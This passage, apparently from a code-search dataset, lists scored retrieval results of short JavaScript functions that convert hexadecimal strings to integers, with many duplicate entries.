16);\r\n}", "title": "" }, { "docid": "db6f3e5111bcabb1cc746a85cd7c9874", "score": "0.72538376", "text": "function parseIntFromHex(val) {\n return parseInt(val, 16);\n}", "title": "" }, { "docid": "fdbdf89820fa9aad4ede0cb2e9f62250", "score": "0.7245617", "text": "function parseIntFromHex(val) {\n return parseInt(val, 16);\n}", "title": "" }, { "docid": "fdbdf89820fa9aad4ede0cb2e9f62250", "score": "0.7245617", "text": "function parseIntFromHex(val) {\n return parseInt(val, 16);\n}", "title": "" }, { "docid": "fdbdf89820fa9aad4ede0cb2e9f62250", "score": "0.7245617", "text": "function parseIntFromHex(val) {\n return parseInt(val, 16);\n}", "title": "" }, { "docid": "fdbdf89820fa9aad4ede0cb2e9f62250", "score": "0.7245617", "text": "function parseIntFromHex(val) {\n return parseInt(val, 16);\n}", "title": "" }, { "docid": "fdbdf89820fa9aad4ede0cb2e9f62250", "score": "0.7245617", "text": "function parseIntFromHex(val) {\n return parseInt(val, 16);\n}", "title": "" }, { "docid": "fdbdf89820fa9aad4ede0cb2e9f62250", "score": "0.7245617", "text": "function parseIntFromHex(val) {\n return parseInt(val, 16);\n}", "title": "" }, { "docid": "fdbdf89820fa9aad4ede0cb2e9f62250", "score": "0.7245617", "text": "function parseIntFromHex(val) {\n return parseInt(val, 16);\n}", "title": "" }, { "docid": "fdbdf89820fa9aad4ede0cb2e9f62250", "score": "0.7245617", "text": "function parseIntFromHex(val) {\n return parseInt(val, 16);\n}", "title": "" }, { "docid": "fdbdf89820fa9aad4ede0cb2e9f62250", "score": "0.7245617", "text": "function parseIntFromHex(val) {\n return parseInt(val, 16);\n}", "title": "" }, { "docid": "fdbdf89820fa9aad4ede0cb2e9f62250", "score": "0.7245617", "text": "function parseIntFromHex(val) {\n return parseInt(val, 16);\n}", "title": "" }, { "docid": "fdbdf89820fa9aad4ede0cb2e9f62250", "score": "0.7245617", "text": "function parseIntFromHex(val) {\n return parseInt(val, 16);\n}", "title": "" }, { "docid": "fdbdf89820fa9aad4ede0cb2e9f62250", "score": "0.7245617", "text": "function parseIntFromHex(val) {\n return parseInt(val, 16);\n}", "title": "" }, { "docid": "fdbdf89820fa9aad4ede0cb2e9f62250", "score": "0.7245617", "text": "function parseIntFromHex(val) {\n return parseInt(val, 16);\n}", "title": "" }, { "docid": "fdbdf89820fa9aad4ede0cb2e9f62250", "score": "0.7245617", "text": "function parseIntFromHex(val) {\n return parseInt(val, 16);\n}", "title": "" }, { "docid": "fdbdf89820fa9aad4ede0cb2e9f62250", "score": "0.7245617", "text": "function parseIntFromHex(val) {\n return parseInt(val, 16);\n}", "title": "" }, { "docid": "fdbdf89820fa9aad4ede0cb2e9f62250", "score": "0.7245617", "text": "function parseIntFromHex(val) {\n return parseInt(val, 16);\n}", "title": "" }, { "docid": "fdbdf89820fa9aad4ede0cb2e9f62250", "score": "0.7245617", "text": "function parseIntFromHex(val) {\n return parseInt(val, 16);\n}", "title": "" }, { "docid": "fdbdf89820fa9aad4ede0cb2e9f62250", "score": "0.7245617", "text": "function parseIntFromHex(val) {\n return parseInt(val, 16);\n}", "title": "" }, { "docid": "fdbdf89820fa9aad4ede0cb2e9f62250", "score": "0.7245617", "text": "function parseIntFromHex(val) {\n return parseInt(val, 16);\n}", "title": "" }, { "docid": "fdbdf89820fa9aad4ede0cb2e9f62250", "score": "0.7245617", "text": "function parseIntFromHex(val) {\n return parseInt(val, 16);\n}", "title": "" }, { "docid": "fdbdf89820fa9aad4ede0cb2e9f62250", "score": "0.7245617", "text": "function parseIntFromHex(val) {\n return parseInt(val, 16);\n}", "title": "" }, { "docid": "fdbdf89820fa9aad4ede0cb2e9f62250", "score": "0.7245617", "text": "function parseIntFromHex(val) {\n return parseInt(val, 16);\n}", "title": "" }, { "docid": "fdbdf89820fa9aad4ede0cb2e9f62250", "score": "0.7245617", "text": "function parseIntFromHex(val) {\n return parseInt(val, 16);\n}", "title": "" }, { "docid": "fdbdf89820fa9aad4ede0cb2e9f62250", "score": "0.7245617", "text": "function parseIntFromHex(val) {\n return parseInt(val, 16);\n}", "title": "" }, { "docid": "fdbdf89820fa9aad4ede0cb2e9f62250", "score": "0.7245617", "text": "function parseIntFromHex(val) {\n return parseInt(val, 16);\n}", "title": "" }, { "docid": "fdbdf89820fa9aad4ede0cb2e9f62250", "score": "0.7245617", "text": "function parseIntFromHex(val) {\n return parseInt(val, 16);\n}", "title": "" }, { "docid": "fdbdf89820fa9aad4ede0cb2e9f62250", "score": "0.7245617", "text": "function parseIntFromHex(val) {\n return parseInt(val, 16);\n}", "title": "" }, { "docid": "fdbdf89820fa9aad4ede0cb2e9f62250", "score": "0.7245617", "text": "function parseIntFromHex(val) {\n return parseInt(val, 16);\n}", "title": "" }, { "docid": "fdbdf89820fa9aad4ede0cb2e9f62250", "score": "0.7245617", "text": "function parseIntFromHex(val) {\n return parseInt(val, 16);\n}", "title": "" }, { "docid": "fdbdf89820fa9aad4ede0cb2e9f62250", "score": "0.7245617", "text": "function parseIntFromHex(val) {\n return parseInt(val, 16);\n}", "title": "" }, { "docid": "fdbdf89820fa9aad4ede0cb2e9f62250", "score": "0.7245617", "text": "function parseIntFromHex(val) {\n return parseInt(val, 16);\n}", "title": "" }, { "docid": "fdbdf89820fa9aad4ede0cb2e9f62250", "score": "0.7245617", "text": "function parseIntFromHex(val) {\n return parseInt(val, 16);\n}", "title": "" }, { "docid": "fdbdf89820fa9aad4ede0cb2e9f62250", "score": "0.7245617", "text": "function parseIntFromHex(val) {\n return parseInt(val, 16);\n}", "title": "" }, { "docid": "fdbdf89820fa9aad4ede0cb2e9f62250", "score": "0.7245617", "text": "function parseIntFromHex(val) {\n return parseInt(val, 16);\n}", "title": "" }, { "docid": "fdbdf89820fa9aad4ede0cb2e9f62250", "score": "0.7245617", "text": "function parseIntFromHex(val) {\n return parseInt(val, 16);\n}", "title": "" }, { "docid": "fdbdf89820fa9aad4ede0cb2e9f62250", "score": "0.7245617", "text": "function parseIntFromHex(val) {\n return parseInt(val, 16);\n}", "title": "" }, { "docid": "fdbdf89820fa9aad4ede0cb2e9f62250", "score": "0.7245617", "text": "function parseIntFromHex(val) {\n return parseInt(val, 16);\n}", "title": "" }, { "docid": "fdbdf89820fa9aad4ede0cb2e9f62250", "score": "0.7245617", "text": "function parseIntFromHex(val) {\n return parseInt(val, 16);\n}", "title": "" }, { "docid": "fdbdf89820fa9aad4ede0cb2e9f62250", "score": "0.7245617", "text": "function parseIntFromHex(val) {\n return parseInt(val, 16);\n}", "title": "" }, { "docid": "fdbdf89820fa9aad4ede0cb2e9f62250", "score": "0.7245617", "text": "function parseIntFromHex(val) {\n return parseInt(val, 16);\n}", "title": "" }, { "docid": "fdbdf89820fa9aad4ede0cb2e9f62250", "score": "0.7245617", "text": "function parseIntFromHex(val) {\n return parseInt(val, 16);\n}", "title": "" }, { "docid": "fdbdf89820fa9aad4ede0cb2e9f62250", "score": "0.7245617", "text": "function parseIntFromHex(val) {\n return parseInt(val, 16);\n}", "title": "" }, { "docid": "e0ba40462ad2f3a727267329e00373db", "score": "0.72216505", "text": "function parseIntFromHex(val) {\n\t return parseInt(val, 16);\n\t }", "title": "" }, { "docid": "cacb8222e641ae89c3fac45615437799", "score": "0.72157973", "text": "function parseHex(val) {\n return parseInt(val, 16);\n }", "title": "" }, { "docid": "cacb8222e641ae89c3fac45615437799", "score": "0.72157973", "text": "function parseHex(val) {\n return parseInt(val, 16);\n }", "title": "" }, { "docid": "a6dd9f8adf13882965d69363bfb43e6e", "score": "0.72030795", "text": "function parseIntFromHex(val) {\n\t return parseInt(val, 16);\n\t}", "title": "" }, { "docid": "a6dd9f8adf13882965d69363bfb43e6e", "score": "0.72030795", "text": "function parseIntFromHex(val) {\n\t return parseInt(val, 16);\n\t}", "title": "" }, { "docid": "a6dd9f8adf13882965d69363bfb43e6e", "score": "0.72030795", "text": "function parseIntFromHex(val) {\n\t return parseInt(val, 16);\n\t}", "title": "" }, { "docid": "a6dd9f8adf13882965d69363bfb43e6e", "score": "0.72030795", "text": "function parseIntFromHex(val) {\n\t return parseInt(val, 16);\n\t}", "title": "" }, { "docid": "91a4b14a27314b247716ce1b2251f777", "score": "0.7165208", "text": "function parseIntFromHex(val) {\n\t\treturn parseInt(val, 16);\n}", "title": "" }, { "docid": "d7a737b2288446750d2cc4ced69a530a", "score": "0.71430445", "text": "function parseIntFromHex(val) {\n\t\t\treturn parseInt(val, 16);\n\t}", "title": "" }, { "docid": "d7a737b2288446750d2cc4ced69a530a", "score": "0.71430445", "text": "function parseIntFromHex(val) {\n\t\t\treturn parseInt(val, 16);\n\t}", "title": "" }, { "docid": "daaa2231b535aaee769d82ab4ca73a6c", "score": "0.7135625", "text": "function parseHex(val) {\n return parseInt(val, 16);\n}", "title": "" }, { "docid": "153bb159d971a05979534d666d920578", "score": "0.68655473", "text": "static fromHex(str) {\n return parseInt(str, 16);\n }", "title": "" }, { "docid": "786da895c4a620bc216298712db32c93", "score": "0.68456924", "text": "parse(string){\n return parseInt(string, 16);\n }", "title": "" }, { "docid": "17beb3a84c800abc4be4f32071103014", "score": "0.6807208", "text": "function fromHex(s){ return String.fromCharCode(parseInt(s.slice(2), 16)); }", "title": "" }, { "docid": "846b982e62192c729c797ac31bd4bfa0", "score": "0.67764", "text": "function char(x) { return parseInt(x, 16); }", "title": "" }, { "docid": "846b982e62192c729c797ac31bd4bfa0", "score": "0.67764", "text": "function char(x) { return parseInt(x, 16); }", "title": "" }, { "docid": "5628b5ca90192484e75e7821160aff48", "score": "0.67756075", "text": "function hex2Int(hex) {\r\n if(hex=='a')\r\n return 10;\r\n if(hex=='b')\r\n return 11;\r\n if(hex=='c')\r\n return 12;\r\n if(hex=='d')\r\n return 13;\r\n if(hex=='e')\r\n return 14;\r\n if(hex=='f')\r\n return 15;\r\n return parseInt(hex);\r\n}", "title": "" }, { "docid": "96357aaf1c979c72e81a5dbf31b44f51", "score": "0.67530835", "text": "function hexTo10(code){\n\n if(code.length === 7){\n var r = code.substring(1, 3);\n var g = code.substring(3, 5);\n var b = code.substring(5, 7);\n }else{\n var r = code.substring(1, 2) + code.substring(1, 2);\n var g = code.substring(2, 3) + code.substring(2, 3);\n var b = code.substring(3, 4) + code.substring(3, 4);\n }\n return {\n r: parseInt(r, 16),\n g: parseInt(g, 16),\n b: parseInt(b, 16)\n }\n}", "title": "" }, { "docid": "9094dada4d7f06c35555d6d431c614d8", "score": "0.66787875", "text": "function readInt16() {\n var result =\n (str.charCodeAt(position) << 8) +\n (str.charCodeAt(position + 1));\n position += 2;\n return result;\n }", "title": "" }, { "docid": "0094add602b87957afb638efb595bb42", "score": "0.6659289", "text": "function readInt16() {\n\t\tvar result = (\n\t\t\t(str.charCodeAt(position) << 8)\n\t\t\t+ str.charCodeAt(position + 1));\n\t\tposition += 2;\n\t\treturn result;\n\t}", "title": "" }, { "docid": "0094add602b87957afb638efb595bb42", "score": "0.6659289", "text": "function readInt16() {\n\t\tvar result = (\n\t\t\t(str.charCodeAt(position) << 8)\n\t\t\t+ str.charCodeAt(position + 1));\n\t\tposition += 2;\n\t\treturn result;\n\t}", "title": "" }, { "docid": "d37ffc0fd169553e39bff1007b1c96d4", "score": "0.6449589", "text": "function convertByteStr(byte) {\n return (parseInt(byte, 16));\n }", "title": "" }, { "docid": "aa1b1fad51db457291ebe19ff861ce3a", "score": "0.64369565", "text": "function hexToDec(hexString){\n return parseInt(hexString, 16);\n}", "title": "" }, { "docid": "9acf3975f4ce99bdbe5c714a9268b8f0", "score": "0.6434468", "text": "function dec(hex) {\r\n return parseInt(hex, 16);\r\n }", "title": "" }, { "docid": "9acf3975f4ce99bdbe5c714a9268b8f0", "score": "0.6434468", "text": "function dec(hex) {\r\n return parseInt(hex, 16);\r\n }", "title": "" }, { "docid": "9acf3975f4ce99bdbe5c714a9268b8f0", "score": "0.6434468", "text": "function dec(hex) {\r\n return parseInt(hex, 16);\r\n }", "title": "" }, { "docid": "9acf3975f4ce99bdbe5c714a9268b8f0", "score": "0.6434468", "text": "function dec(hex) {\r\n return parseInt(hex, 16);\r\n }", "title": "" }, { "docid": "9d4fc379bacdfc73b251b0c589c6fdfe", "score": "0.6405315", "text": "function _base36To16(value) {\n return (new BN(value, 36)).toString(16);\n}", "title": "" }, { "docid": "9d4fc379bacdfc73b251b0c589c6fdfe", "score": "0.6405315", "text": "function _base36To16(value) {\n return (new BN(value, 36)).toString(16);\n}", "title": "" }, { "docid": "9d4fc379bacdfc73b251b0c589c6fdfe", "score": "0.6405315", "text": "function _base36To16(value) {\n return (new BN(value, 36)).toString(16);\n}", "title": "" }, { "docid": "ef59bd5af6f16c57a516628760ca6cce", "score": "0.6348012", "text": "function hexToDec(hex) {\n return parseInt(hex, 16);\n}", "title": "" }, { "docid": "6163abcf1d3dda2b9d2c545337f5d4b8", "score": "0.6344247", "text": "function dec(hex) {\n return parseInt(hex, 16);\n }", "title": "" }, { "docid": "6163abcf1d3dda2b9d2c545337f5d4b8", "score": "0.6344247", "text": "function dec(hex) {\n return parseInt(hex, 16);\n }", "title": "" }, { "docid": "a609275d440cda3d2fa845e409fb2fe0", "score": "0.63322365", "text": "function hex2dec(val) //convert hex to decimal\n{\n return parseInt(\"0x\" + val);\n}", "title": "" }, { "docid": "ade530cb6bbcd12c5a91ff8bbecc68a3", "score": "0.6328704", "text": "readHexDigit() {\n let c = this.nextChar();\n if (c >= '0' && c <= '9') return c - '0';\n if (c >= 'a' && c <= 'f') return c - 'a' + 10;\n if (c >= 'A' && c <= 'F') return c - 'A' + 10;\n\n // Don't consume it if it isn't expected. Keeps us from reading past the end\n // of an unterminated string.\n this.currentChar--;\n return -1;\n }", "title": "" }, { "docid": "7e17b785685c231bc58e5fae2a8d4964", "score": "0.63282925", "text": "function bignumber_base36To16(value) {\n return new bignumber_BN(value, 36).toString(16)\n }", "title": "" }, { "docid": "60e004cbcd38ba51eb3cd7a1ba04d5c1", "score": "0.6327113", "text": "function HexCharToInt(hexchar)\n{\n\tif ((hexchar.charCodeAt(0)>=\"0\".charCodeAt(0))&&(hexchar.charCodeAt(0)<=\"9\".charCodeAt(0)))\n\t{\n\t\treturn hexchar.charCodeAt(0)-\"0\".charCodeAt(0);\n\t}\n\telse return hexchar.charCodeAt(0)-\"A\".charCodeAt(0)+10;\n}", "title": "" }, { "docid": "182e746f5157c40c00d94364fb3e1e8e", "score": "0.6282645", "text": "function hexToB(h) {return parseInt((cutHex( h )).substring( 4, 6 ), 16 )}", "title": "" }, { "docid": "6c7b55751f790babf6b9569508927b18", "score": "0.6281118", "text": "function Hex2Dec(num) {\n\treturn eval('0x' + num);\n}", "title": "" }, { "docid": "2bcef5b0cd7632e386b7956582461023", "score": "0.627883", "text": "function _base36To16(value) {\n return new BN(value, 36).toString(16)\n }", "title": "" }, { "docid": "2bcef5b0cd7632e386b7956582461023", "score": "0.627883", "text": "function _base36To16(value) {\n return new BN(value, 36).toString(16)\n }", "title": "" } ]